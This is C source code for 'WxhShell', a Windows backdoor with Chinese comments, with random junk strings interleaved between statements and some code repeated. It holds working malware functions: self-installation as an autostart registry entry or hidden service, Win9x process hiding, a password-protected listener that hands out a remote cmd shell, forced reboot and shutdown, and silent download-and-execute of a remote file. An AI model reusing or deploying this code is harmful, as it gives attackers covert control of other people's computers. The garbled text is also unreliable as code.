H}NW? DWORD AffinityMask; ExDH@Lb DWORD BasePriority; Jy'ge4]3 ULONG UniqueProcessId; H!Y`?Rc ULONG InheritedFromUniqueProcessId; *'+OA6 } PROCESS_BASIC_INFORMATION; Gd)@PWK BJ3st PROCNTQSIP NtQueryInformationProcess; 29K09 0f D?rQQxb static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R>"E Xq static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "
}@QL` z.g'8#@ HANDLE hProcess; :\Z;FA@g(g PROCESS_BASIC_INFORMATION pbi; .`!|^h%0 C#X0Cn0ln HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A2z%zMlZc if(NULL == hInst ) return 0; B.&ly/d ;l_%;O5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,Cg uY/y g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9n!<M)E NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4uv'l3 =6t)-53 if (!NtQueryInformationProcess) return 0; LSQ2pB2V <lM]c hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
%-+lud if(!hProcess) return 0; 8jxgSB", dOq*W<% if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w\pD'1e QQKvy0?1 CloseHandle(hProcess); Cw]Q)rX{ E9 QA<w hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \%9,<-~[ if(hProcess==NULL) return 0; @b2{'#9]} ^3QHB1I HMODULE hMod; +/q%29-k char procName[255]; od|w)?16 unsigned long cbNeeded; TL+a_]3@ EI2V<v if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t#kR@t+6$\ ?Zu=UVb CloseHandle(hProcess); u0h {bu 2RKI M(~ if(strstr(procName,"services")) return 1; // 以服务启动 g% :Q86u GmN} +( return 0; // 注册表启动 FqiCzP4 } w}<BO>
z \LRno3 // 主模块 A>^\jIB> int StartWxhshell(LPSTR lpCmdLine) ]%(hZZ { :|oH11y SOCKET wsl; >`8r 52 BOOL val=TRUE; s4lkhoN\t int port=0; ^;GJ7y&,d struct sockaddr_in door; \;p5Pagx0- &|xN=U/ if(wscfg.ws_autoins) Install(); $O&P@8:Z zbP0! port=atoi(lpCmdLine); HE+y1f] ,U2
/J if(port<=0) port=wscfg.ws_port; J0w[vrs&] lyKV^7} WSADATA data; ,;C92XY if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $lci{D32, =PyU9C-@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?3Wh.%n setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -yOrNir}W door.sin_family = AF_INET; .hlr)gF&) door.sin_addr.s_addr = inet_addr("127.0.0.1"); UNq!| door.sin_port = htons(port); 4xU[oaa ~f2H@# if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !1!;}uzt closesocket(wsl); \uQB%yMoz return 1; A[v]^pv' } lRnst-inlI 2t\a/QE)E if(listen(wsl,2) == INVALID_SOCKET) { 3> -/sii closesocket(wsl); |)i-c`x return 1; Y1txI } gm9e-QIHK Wxhshell(wsl); #B|`F?o WSACleanup(); }u5;YNmXxF {FraM,w: return 0; Yul-.X p+#J;. } <r.f ?chf iSo+6gu // 以NT服务方式启动 e2;19bj& VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dx}()i\@ { "jmi
"O* DWORD status = 0; #
SV*6 DWORD specificError = 0xfffffff; !NK8_p|X EUmQn8 serviceStatus.dwServiceType = SERVICE_WIN32; $@+\_f'bU> serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7*d}6\
% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ho
?.\Jq serviceStatus.dwWin32ExitCode = 0; -MJ6~4k2 serviceStatus.dwServiceSpecificExitCode = 0; lh3%2Dq$ serviceStatus.dwCheckPoint = 0; ^%|{>Mz;c serviceStatus.dwWaitHint = 0; c, \TL
] V:)k@W?P hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lQ!ukl) if (hServiceStatusHandle==0) return; %Y:'5\^lC >Be PE(k status = GetLastError(); yC4JYF]JN if (status!=NO_ERROR) 3>yb$ZU"- { fyT:I6* serviceStatus.dwCurrentState = SERVICE_STOPPED; *-T3'beg serviceStatus.dwCheckPoint = 0; 8263
serviceStatus.dwWaitHint = 0; A!H6$-W|p serviceStatus.dwWin32ExitCode = status; KWCA9.w4q serviceStatus.dwServiceSpecificExitCode = specificError; i0Qg[%{9# SetServiceStatus(hServiceStatusHandle, &serviceStatus); I<z
/Y? return; v-Ggf0RF } -#j-Zo+< =G;whd}] serviceStatus.dwCurrentState = SERVICE_RUNNING; 1\{0z3P serviceStatus.dwCheckPoint = 0; 'wvZnb serviceStatus.dwWaitHint = 0; 1wuLw Ad if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1C^6'9o } 'CjcOI
s ='T<jV`evu // 处理NT服务事件,比如:启动、停止 jY$Bns&.w VOID WINAPI NTServiceHandler(DWORD fdwControl) 2!cP[Ck { i ;y<gm" switch(fdwControl) [zn`vT { Vd4x!Vk case SERVICE_CONTROL_STOP: ;"
'`P[ serviceStatus.dwWin32ExitCode = 0; -lRXH7|X serviceStatus.dwCurrentState = SERVICE_STOPPED; \=v7'Hp serviceStatus.dwCheckPoint = 0; XUfj 0 serviceStatus.dwWaitHint = 0; "]JE]n}Ulg { X3%7VFy9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); U%"c@%B0 } BM&95p return; ~0>g 4
D. case SERVICE_CONTROL_PAUSE: ?Q="w5OOD serviceStatus.dwCurrentState = SERVICE_PAUSED; 8<Asg2]6 break; -uqJ~g D case SERVICE_CONTROL_CONTINUE: Hwklk9U serviceStatus.dwCurrentState = SERVICE_RUNNING; [IF3,C break; '{QbjG%<P case SERVICE_CONTROL_INTERROGATE: 4Wk/^*? break; #q9jFW8 }; [ahD%UxO5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); K SDo)7` } bk}.^m! iE':ur<` // 标准应用程序主函数 )}9Ef"v| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f}Eoc>n { YDyOhv WM*[+8h // 获取操作系统版本 eEb(TG~,Y OsIsNt=GetOsVer(); o>311(: GetModuleFileName(NULL,ExeFile,MAX_PATH); L0qo/6|C M['8zN // 从命令行安装 @ T'!;) if(strpbrk(lpCmdLine,"iI")) Install(); Dh BUMDoB .8uJ%'$) // 下载执行文件 qS*qHT(u19 if(wscfg.ws_downexe) { 9(QY~F if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W=&\d`><k WinExec(wscfg.ws_filenam,SW_HIDE); HtgVD~[] } 8TD:~ee ;iy]mPd if(!OsIsNt) { `8\_ ]w0 // 如果时win9x,隐藏进程并且设置为注册表启动 /P<RYA~ HideProc(); %L=roqz StartWxhshell(lpCmdLine); _' Xt } R4 ;^R else u^s{r`/ if(StartFromService()) p
)etl5 // 以服务方式启动 "uDLty?*k StartServiceCtrlDispatcher(DispatchTable); #yFDC@gH1 else id\0yRBt // 普通方式启动 5O#CdN-S StartWxhshell(lpCmdLine); 2.p7fu =Jg5J5 return 0; h2`W~g_ } yP :>vFd7 ~!E%GCyFy 6c^2Nl8e QY8I_VF ===========================================
k]u0US9/ Q[;!z1ur T-xcd w{?nX6a@p Jt43+] HB\<nK " (^ZC8)0i( aAh")B2 #include <stdio.h> c|X.&<lX #include <string.h> q@~N?$> #include <windows.h> -A(]",*J #include <winsock2.h> 1 9$ufod #include <winsvc.h> puG$\D-[ #include <urlmon.h> ^6Q(he /FJAI #pragma comment (lib, "Ws2_32.lib") KXL]Qw FN #pragma comment (lib, "urlmon.lib") @2v L'6 sOa`T k #define MAX_USER 100 // 最大客户端连接数 #[vmS #define BUF_SOCK 200 // sock buffer r50}j #define KEY_BUFF 255 // 输入 buffer >k<.bEx(A ?5K.#>{ #define REBOOT 0 // 重启 FTI[YR8?Y #define SHUTDOWN 1 // 关机 5JK{dis]k b7E= u0 #define DEF_PORT 5000 // 监听端口 Bcg\p} '!]ry< #define REG_LEN 16 // 注册表键长度 oL1m<cQo9 #define SVC_LEN 80 // NT服务名长度 ^Jcs0c
@\ y&-wb'==p // 从dll定义API WEFYV=I\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k|F<?:C typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BB-E"< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7G.IGXK$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %a&Yt IFlDw}M!9 // wxhshell配置信息 3o9`Ko0 struct WSCFG { / *Z(;- int ws_port; // 监听端口 T3u%V_ char ws_passstr[REG_LEN]; // 口令 )TnxsFC int ws_autoins; // 安装标记, 1=yes 0=no 0$b)@ char ws_regname[REG_LEN]; // 注册表键名 {-2I^Ym 5i char ws_svcname[REG_LEN]; // 服务名 ~=aD*v<3d char ws_svcdisp[SVC_LEN]; // 服务显示名 'IY?7+[ char ws_svcdesc[SVC_LEN]; // 服务描述信息 <_=a1x char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W&q]bi@C int ws_downexe; // 下载执行标记, 1=yes 0=no ` :eXXE char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %k_R;/fjW char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GM%%7 ^uE DDq*#;dP }; N&K:Jp Q9t BHz // default Wxhshell configuration ~>3$Id: struct WSCFG wscfg={DEF_PORT, 9eo$Duws "xuhuanlingzhe", Bf~ 1, p 2It/O "Wxhshell", "
|[w.` "Wxhshell", H{
p "WxhShell Service", ;|
##~Y.9 "Wrsky Windows CmdShell Service", /)ps_gM "Please Input Your Password: ", biKom|<nm 1, 9F845M "http://www.wrsky.com/wxhshell.exe", m{9m.~d "Wxhshell.exe" 75v 5/5zRn }; 1q]V/V} 5, R\tJCK // 消息定义模块 e7T"?s char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [wWip1OR char *msg_ws_prompt="\n\r? for help\n\r#>"; coT|t
T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w&jyijk( char *msg_ws_ext="\n\rExit."; !(~eeE}|lM char *msg_ws_end="\n\rQuit."; /5 B{szf char *msg_ws_boot="\n\rReboot..."; >p [|U`>{ char *msg_ws_poff="\n\rShutdown..."; %W~Kx_ char *msg_ws_down="\n\rSave to "; L}UJ`U PVH^yWi
n char *msg_ws_err="\n\rErr!"; S;sggeP7, char *msg_ws_ok="\n\rOK!"; B!0o6)u' >&6pBtC_ char ExeFile[MAX_PATH]; [tGAo/ int nUser = 0; D^yZ!}Kl HANDLE handles[MAX_USER]; -'BC*fV r int OsIsNt; 0ubT/ eu@hmR8T SERVICE_STATUS serviceStatus; |s`j=<rNQI SERVICE_STATUS_HANDLE hServiceStatusHandle; }u:@:}8K |b7v(Hx // 函数声明 _eb:"(m int Install(void); q4'szDYO2 int Uninstall(void); fw$/@31AP? int DownloadFile(char *sURL, SOCKET wsh); ;wwhW|A int Boot(int flag); 8!2NZOZOS void HideProc(void); 9\ZlRYnc= int GetOsVer(void); Yf:xM>.% int Wxhshell(SOCKET wsl); };6[Byf void TalkWithClient(void *cs); B{$4s8XU int CmdShell(SOCKET sock); 4+e9:r] int StartFromService(void); ~XQj0' int StartWxhshell(LPSTR lpCmdLine); fgIzT!fyz @8E mY,{; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8z0j}xY% VOID WINAPI NTServiceHandler( DWORD fdwControl ); smvIU0:K Tj7OV}: // 数据结构和表定义 649{\;*4 SERVICE_TABLE_ENTRY DispatchTable[] = LsH&`G^< { A]L;LkEM
{wscfg.ws_svcname, NTServiceMain}, 7ZarXv
z {NULL, NULL} 4scY8(1 }; MkgeECMf (oTtnQ""+ // 自我安装 QxZYy}2 int Install(void) <9z2:^ { (8qD'(@ char svExeFile[MAX_PATH]; piKYO+;W' HKEY key; &oI;^| strcpy(svExeFile,ExeFile); nt.A X &?UIe] // 如果是win9x系统,修改注册表设为自启动 -x)Oo` if(!OsIsNt) { AdB B#zd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { soh)IfZ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @yiAi:v@ RegCloseKey(key); H~IR:WOw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `>KB8SY:qK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 95LZG1]Rb RegCloseKey(key); pxP,cS return 0; ]D_"tQ?i } qn)
VKx= } |s[kY } 2yZ/'}Mw else { h&@A'om~ ZGO%lkZ. // 如果是NT以上系统,安装为系统服务 0?OTa<c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $I*ye+a*{q if (schSCManager!=0) :cU6W2EV { I/4:SNha SC_HANDLE schService = CreateService "2} {lu ( <%w)EQf4m schSCManager, qd$Y"~Mco wscfg.ws_svcname, [Q+8Ku wscfg.ws_svcdisp, iR}3 [ SERVICE_ALL_ACCESS, _`3'D`s SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c6/+Ye =h SERVICE_AUTO_START, cV^r_E\m SERVICE_ERROR_NORMAL, qQK0s*^W svExeFile, v"wxHro NULL, tgmG#b* NULL, RW| LL@r NULL, mHCp^g4Q NULL, (Z(O7X(/ NULL U8TH} 9Q ); ~nYp*t C' if (schService!=0) BkywYCWZ ) { |dNJx<- CloseServiceHandle(schService); FvpaU\D CloseServiceHandle(schSCManager); ]^aOYtKX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /zxLnT;
5 strcat(svExeFile,wscfg.ws_svcname); dJyf.VJ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X*f#S:kiNU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6zv-nMZc RegCloseKey(key); 6&,n\EXF return 0; me-Tv7WL } 1^&qlnqH } A"|y< CloseServiceHandle(schSCManager); l
Ozi| } zgre&BV0q } obA}SF n-ZOe]3 return 1; bu[PQsT } 0zJT_H+ udw>{3> // 自我卸载 :
L}Fm2^ int Uninstall(void) `| nC r { f3 _-{<FZ HKEY key; [I6(;lq2 ~)J]`el,Q if(!OsIsNt) { BpL7s
ej7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |#_IAN RegDeleteValue(key,wscfg.ws_regname); Tfasry9'8 RegCloseKey(key); hF m_`J&" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M"XILNV-~ RegDeleteValue(key,wscfg.ws_regname); poLzgd RegCloseKey(key); G@$Y6To[ return 0; bogw /)1 } ,Sz`$'^c } NMaZ+g!t( } x<&2`= else { Std?p{
i $H\[yg>4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PSCzeR if (schSCManager!=0) 6( #fGH&[ { RP!!6A6: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n*(9:y=l1 if (schService!=0) GjVq"S { 8w,+Y]X<P[ if(DeleteService(schService)!=0) { 9Yu63s ia CloseServiceHandle(schService); ~H<oqk:O- CloseServiceHandle(schSCManager);
qW~Z#Si return 0; >WYiOXYv } 6t zUp/O CloseServiceHandle(schService); ^a>3U l{ } eXs^YPi CloseServiceHandle(schSCManager); _:N+mEF } T"h@-UcTl } pr~%%fCh )I~U&sT\/ return 1; 2EO WbN}M } O_v8R7 { +/"Ws'5E // 从指定url下载文件 7hV9nuW int DownloadFile(char *sURL, SOCKET wsh) y4N8B:j% { ]|H`?L HRESULT hr; K)ZW1d; char seps[]= "/"; hk5[ N= char *token; pJg'$iR!/ char *file; =1|^) 4M,x char myURL[MAX_PATH]; ;)nkY6- char myFILE[MAX_PATH]; X667*L^ Q:L^DZkGV strcpy(myURL,sURL); ig-V^P token=strtok(myURL,seps); `(- nSQ while(token!=NULL) Np2I*l6W { ,Yp+&&p. file=token; u& 4i=K'x8 token=strtok(NULL,seps); vJ
+sdG } c+BD37S
L3N?^^] GetCurrentDirectory(MAX_PATH,myFILE); ^l,(~03_ strcat(myFILE, "\\"); VL =1 9[ strcat(myFILE, file); tfKf*Um send(wsh,myFILE,strlen(myFILE),0); H[WsHq;T+9 send(wsh,"...",3,0); -RLY.@'d-M hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %w$\v"^_Y if(hr==S_OK) |2Krxi3* return 0; 9#;GG3 else (7X|W<xT return 1; RJp Rsr
zh.^>
` } o[
Je "V=IG{. // 系统电源模块 I ~U1vtgp int Boot(int flag) )7aUDsu>4 { *\-$.w)k HANDLE hToken; &gxWdG}qx] TOKEN_PRIVILEGES tkp; B|f
=hlY mBwM=LAZ if(OsIsNt) { _YK66cS3E/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); w$)NW57[| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C{*' p+f tkp.PrivilegeCount = 1; {+3
`{34e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h]+UK14m AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *jf%Wj)0M if(flag==REBOOT) { 21T#NYfew if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a<NZC return 0; W>E/LBpE4 } \ 4`:~c else { 5wE+p<-KX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JI3x^[(Z return 0; ro n-v"! }
DXa!"ZU } i-jrF6& else { ,<CFjtelO if(flag==REBOOT) { 6*aU^#Hz6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =,Zkg(M return 0; hl/) 1sOIR } "y9]>9:$- else { X7~^D[X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hEh` cBO return 0; i^SPNs= } K\trT!I } w-j^jU><3 L-9AJk>V return 1; "*bP @W } /ucS*m:<x #FhgKwx // win9x进程隐藏模块 mx!EuF$I void HideProc(void) @ *<`*W { 'PqKb%B| ~Fe$/*v HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +:_;K_h if ( hKernel != NULL ) KXiStwS { 1a]P+-@u[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J*Q+$Ai~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %Q080Ltet FreeLibrary(hKernel); Q$*JkwPQ} } *UZd!a) !{+a2wi return; 1\X_B`xwD } dJ9v/k_ Y6[O
s1 // 获取操作系统版本 m S4N%Q int GetOsVer(void) 'Ul^V { lD#S:HX OSVERSIONINFO winfo; g7;OZ#\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XOoz.GSQ GetVersionEx(&winfo); \v_R]0m\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,Dy9-o return 1; 6pdek3pOCt else m##_U9O return 0; i*)BFV_- } VZ]}9k tc|PN+v; // 客户端句柄模块 CklIrD{ int Wxhshell(SOCKET wsl) d6f T { ^4~?]5Y\ SOCKET wsh; ]^0mh[" struct sockaddr_in client; ANRZQpnXQ DWORD myID; LL_@nvu}M |vPU]R>6 while(nUser<MAX_USER)
WjsmLb:5 { 6ltV}Wt- int nSize=sizeof(client); _oE 7< wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $YiG0GK<" if(wsh==INVALID_SOCKET) return 1; )agrx76]3w v:gdG|n" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (XNd]G if(handles[nUser]==0) +[`
)t/ closesocket(wsh); m^o?{
(K else 9yK\<6}}QH nUser++; 7P:/ (P } v[\GhVb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n+1`y8dy c{3P|O&. return 0; U.Fs9F4M # } F*JbTEOn jGUegeq // 关闭 socket b=kY9!GN,v void CloseIt(SOCKET wsh) L>n^Q:M { %RIlu[J closesocket(wsh); Rxq4Diq5k nUser--; gbu*6&j9 ExitThread(0); q\/xx`L } AHzm9U @ mYFc53B // 客户端请求句柄 $wcTUl void TalkWithClient(void *cs) ;o?o92d { ui80}% JYnyo$m/ SOCKET wsh=(SOCKET)cs; -XfGF<}r char pwd[SVC_LEN]; F8xu&Vk0: char cmd[KEY_BUFF]; e8&7W3 m char chr[1]; r2\}_pIj int i,j; Z~ K} @ e>Dux while (nUser < MAX_USER) { sWKv>bx Xdh@ ^` if(wscfg.ws_passstr) { ;;N#'.xD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jfYM*% //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5`QfysR5 //ZeroMemory(pwd,KEY_BUFF); kyf(V)APPu i=0; LX}|%- iv while(i<SVC_LEN) { y*E{X d*$x|B|V // 设置超时 em2Tet fd_set FdRead; JyePI:B&)j struct timeval TimeOut; >#y1(\e FD_ZERO(&FdRead); W~5gTiBZ] FD_SET(wsh,&FdRead); ab[V->>% TimeOut.tv_sec=8; s$~H{za TimeOut.tv_usec=0; `)NTJc$): int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 65GC7 >[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G+tzp&G@ SduUXHk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f\;f&GI pwd=chr[0]; m4^VlE,`Dh if(chr[0]==0xd || chr[0]==0xa) { 4{h^O@*g pwd=0; p7L6~IN break; Jw^h<z/Ux } |!J_3*6$>* i++; y!x-R!3 } ]d*O>Pm p
~)\! // 如果是非法用户,关闭 socket KVHK~Y-G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1pqYB]*u_ } P0rdGf 5T *-'`Ea send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oJZ0{^ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0ke1KKy/d #fFD|q while(1) { qnzNJ_ `R Q'[~$~&` ZeroMemory(cmd,KEY_BUFF); ]j.!
w$`u_P|@E: // 自动支持客户端 telnet标准 I.o3Old j=0; &-x/c\jz while(j<KEY_BUFF) { D"K!ELGW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xOZvQ\% cmd[j]=chr[0]; Q;@w\_OR if(chr[0]==0xa || chr[0]==0xd) { HS|x cmd[j]=0; :I^4ILQCD break; M#yUdl7d } <#~n+, j++; R%JEx3)0m } USXPa[ BT(G9Pj; // 下载文件 hP/uS%X if(strstr(cmd,"http://")) { Y5TBWcGU% send(wsh,msg_ws_down,strlen(msg_ws_down),0); (CE2]Nv9") if(DownloadFile(cmd,wsh)) .yb8<q s send(wsh,msg_ws_err,strlen(msg_ws_err),0); s%?<:9 else V{{UsEVO send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XX*f } JV!}"[ else { kEg~yN :0Fwaw9PH" switch(cmd[0]) { lb]k"L%KU7 ^fM=|.? // 帮助 )' 2vUt`_7 case '?': { vf`] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QEEX|WM break; 'YEiT#+/ } e co=ia // 安装 !Tu.A@ case 'i': { l`];CALA4 if(Install()) dTVM
!= send(wsh,msg_ws_err,strlen(msg_ws_err),0); jw]IpGTt else ,aa
%{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i{PX= break; ]o_E]5"jO } p-/}@r3Z+ // 卸载 2aQ}|
` case 'r': { U7G|4( if(Uninstall()) !" : arK send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1xwq:vFC. else *OZO} i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \g|;7&%l3 break; C%'eF` } qj?I*peK) // 显示 wxhshell 所在路径 yAc}4*;T/ case 'p': { A3 zNUad; char svExeFile[MAX_PATH]; /zV0kW>N strcpy(svExeFile,"\n\r"); *tT5Zt/&Sr strcat(svExeFile,ExeFile); <JJi send(wsh,svExeFile,strlen(svExeFile),0); P+3)YO1C break; ~0 n9In% } !i6 aA1' // 重启 ::8E?c case 'b': { CY9`HQ1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FD}>}fLv if(Boot(REBOOT)) g/,O51f' send(wsh,msg_ws_err,strlen(msg_ws_err),0); J15$P8J else { WTh|7& closesocket(wsh); ?/ s=E+ ExitThread(0); L G9#D } R7By=Y!t break; F~O!J@4] } bRAf!<3 // 关机 NPR{g!tK% case 'd': { &nZ.$UK< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j8p'B-yS if(Boot(SHUTDOWN)) ?r~](l send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]9pcDZB else { k4nA+k<WI` closesocket(wsh); #kGxX@0 ExitThread(0); 8%9OB5?F6 } %K]nX#.B& break; 0b}lwo,|\ } uO-R:MC // 获取shell v6?<)M% case 's': { w@2LFDp CmdShell(wsh); QfM*K.7Sl closesocket(wsh); %x7l`.)N ExitThread(0); 8JAT2a61ur break; `24:Eg6r } N,_ej@L8 // 退出 yc 5n case 'x': { -.WVuc` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7f
td2lv CloseIt(wsh); X]*W + break; B[MZPv) } Bj7\{x,? // 离开 -nT+!3A8 case 'q': { z*>CP send(wsh,msg_ws_end,strlen(msg_ws_end),0); cWM|COXL+ closesocket(wsh); I@q>ES!1H WSACleanup(); g^En6n) exit(1); aa1XY&G"! break; +e"}"]n } 9Au+mIN } i]LK,' } \9k{"4jX\ 4%j&]PASa1 // 提示信息 |qNrj~n@ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LGCL*Qbsg } Sb[rSczS~ } @;,O V&XYn 0+:.9*g=k return; @]#+`pZ4A } ~K],hi^<P S8vmXlD // shell模块句柄 C 127he int CmdShell(SOCKET sock) l7J_s?!j { r5iO%JFg STARTUPINFO si; qc'tK6=jp ZeroMemory(&si,sizeof(si)); "x$S%:p si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |2 wff? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xD?{Hw>QT# PROCESS_INFORMATION ProcessInfo; ,em6wIq, char cmdline[]="cmd"; p r0V) C6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X7c*T / return 0; Yhw* `"X } 8rp-XiW = xX^ // 自身启动模式 BK d( int StartFromService(void) \
bT]?.si { EJtU(HmW typedef struct Z#MODf0H@ { 'HcDl@E DWORD ExitStatus; 5!ReW39c; DWORD PebBaseAddress; /?XfVhA:A DWORD AffinityMask; =OZ_\vO DWORD BasePriority; f|^f^Hu:{ ULONG UniqueProcessId; }Rux<=cd| ULONG InheritedFromUniqueProcessId; t2Y~MyT/ } PROCESS_BASIC_INFORMATION; |b3/63Ri-0 usTCn3u PROCNTQSIP NtQueryInformationProcess; V!<#E)-?< ]VYl Eqe static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S8)awTA9 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
B-gr2- 3MzY]J
y( HANDLE hProcess; M7>\Qk PROCESS_BASIC_INFORMATION pbi; [sk"2 _gGy(` HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ? s ewU9* if(NULL == hInst ) return 0; L2h+[f 99:L#0!.W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P*T)/A%4 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )eV40l$
